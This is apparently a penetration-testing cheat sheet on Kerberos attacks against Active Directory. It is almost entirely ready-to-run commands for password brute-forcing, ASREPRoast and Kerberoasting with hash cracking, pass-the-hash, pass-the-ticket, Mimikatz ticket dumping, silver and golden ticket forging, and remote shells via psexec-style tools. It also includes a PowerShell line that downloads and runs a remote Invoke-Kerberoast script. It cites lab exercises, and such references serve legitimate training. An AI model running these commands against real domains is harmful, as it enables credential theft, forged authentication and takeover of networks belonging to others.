Kerberos Attack

January 2020

Introduction

Kerberos is an authentication protocol that used to identify a user with provided the secret code, but it does not provide the validation on the resources access. Kerberos is used in Active Directory.

The following are the attack strategy according to the privileges you have. Thus, perform the first attacks only connectivity with the DC (Domain Controller) is required, which is the KDC (Key Distribution Center) for the AD (Active Directory) network. Whereas, the last attack requires a user being a Domain Administrator or having similar privileges.

• Kerberos brute-force

• ASREPRoast

• Kerberoasting

• Pass the key

• Pass the ticket

• Silver ticket

• Golden ticket

Kerberos Attack Methods

Tools

• Impacket

• Mimikatz

• Rubeus

• Rubeus with brute module

• PsExec

• kerbrute.py

• tickey

• ticket_converter.py

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

ASREPRoast

With Impacket example GetNPUsers.py, Lab Example: https://calvin-lai.gitbook.io/calvin-lai-security/hack-the-box-writeup/windows-machine/blackfield#enumeration-through-rpc

# check ASREPRoast for all domain users (credentials required)
python GetNPUsers.py <domain_name>/<domain_user>:<domain_user_password> -request -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>

# check ASREPRoast for a list of users (no credentials required)
python GetNPUsers.py <domain_name>/ -usersfile <users_file> -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>


# Cracking with dictionary of passwords:

hashcat -m 18200 -a 0 <AS_REP_responses_file> <passwords_list_file>

john --wordlist=<passwords_list_file> <AS_REP_responses_file>

Kerberoasting

With Impacket example GetUserSPNs.py:

python GetUserSPNs.py <domain_name>/<domain_user>:<domain_user_password> -outputfile <output_TGSs_file>

With Powershell:

iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat <TGSs_format [hashcat | john]> | % { $_.Hash } | Out-File -Encoding ASCII <output_TGSs_file>

Cracking with dictionary of passwords:

hashcat -m 13100 --force <TGSs_file> <passwords_file>

john --format=krb5tgs --wordlist=<passwords_file> <AS_REP_responses_file>

Pass The Hash (PtH)

By using Impacket examples

Lab Example: OSCP Lab SV-DC01, SVCClient17x (10.11.1.20 - 10.11.1.24)

# Request the TGT with hash
python getTGT.py <domain_name>/<user_name> -hashes [lm_hash]:<ntlm_hash>
# Request the TGT with aesKey (more secure encryption, probably more stealth due is the used by default by Microsoft)
python getTGT.py <domain_name>/<user_name> -aesKey <aes_key>
# Request the TGT with password
python getTGT.py <domain_name>/<user_name>:[password]
# If not provided, password is asked

# Set the TGT for impacket use
export KRB5CCNAME=<TGT_ccache_file>

# Execute remote commands with any of the following by using the TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass

With Rubeus and PsExec:

# Ask and inject the ticket
.\Rubeus.exe asktgt /domain:<domain_name> /user:<user_name> /rc4:<ntlm_hash> /ptt

# Execute a cmd in the remote machine
.\PsExec.exe -accepteula \\<remote_hostname> cmd

Pass The Ticket (PtT)

With Mimikatz:

mimikatz # sekurlsa::tickets /export

With Rubeus in Powershell:

.\Rubeus dump

# After dump with Rubeus tickets in base64, to write the in a file
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<bas64_ticket>"))

To convert tickets between Linux/Windows format with ticket_converter.py:

python ticket_converter.py ticket.kirbi ticket.ccache
python ticket_converter.py ticket.ccache ticket.kirbi

Using ticket in Windows

Inject ticket with Mimikatz:

mimikatz # kerberos::ptt <ticket_kirbi_file>

Inject ticket with Rubeus:

.\Rubeus.exe ptt /ticket:<ticket_kirbi_file>

Execute a cmd in the remote machine with PsExec:

.\PsExec.exe -accepteula \\<remote_hostname> cmd

Silver ticket

With Impacket examples:

# To generate the TGS with NTLM
python ticketer.py -nthash <ntlm_hash> -domain-sid <domain_sid> -domain <domain_name> -spn <service_spn>  <user_name>

# To generate the TGS with AES key
python ticketer.py -aesKey <aes_key> -domain-sid <domain_sid> -domain <domain_name> -spn <service_spn>  <user_name>

# Set the ticket for impacket use
export KRB5CCNAME=<TGS_ccache_file>

# Execute remote commands with any of the following by using the TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass

With Mimikatz:

# To generate the TGS with NTLM
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<ntlm_hash> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>

# To generate the TGS with AES 128 key
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>

# To generate the TGS with AES 256 key (more secure encryption, probably more stealth due is the used by default by Microsoft)
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>

# Inject TGS with Mimikatz
mimikatz # kerberos::ptt <ticket_kirbi_file>

Inject ticket with Rubeus:

.\Rubeus.exe ptt /ticket:<ticket_kirbi_file>

Execute a cmd in the remote machine with PsExec:

.\PsExec.exe -accepteula \\<remote_hostname> cmd

Golden ticket

With Impacket examples:

# To generate the TGT with NTLM
python ticketer.py -nthash <krbtgt_ntlm_hash> -domain-sid <domain_sid> -domain <domain_name>  <user_name>

# To generate the TGT with AES key
python ticketer.py -aesKey <aes_key> -domain-sid <domain_sid> -domain <domain_name>  <user_name>

# Set the ticket for impacket use
export KRB5CCNAME=<TGS_ccache_file>

# Execute remote commands with any of the following by using the TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass

With Mimikatz:

# To generate the TGT with NTLM
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<krbtgt_ntlm_hash> /user:<user_name>

# To generate the TGT with AES 128 key
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<user_name>

# To generate the TGT with AES 256 key (more secure encryption, probably more stealth due is the used by default by Microsoft)
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name>

# Inject TGT with Mimikatz
mimikatz # kerberos::ptt <ticket_kirbi_file>

Inject ticket with Rubeus:

.\Rubeus.exe ptt /ticket:<ticket_kirbi_file>

Execute a cmd in the remote machine with PsExec:

.\PsExec.exe -accepteula \\<remote_hostname> cmd

Reference Link- How does Kerberos work?

Kerberos (I): How does Kerberos work? - TheoryTarlogic Security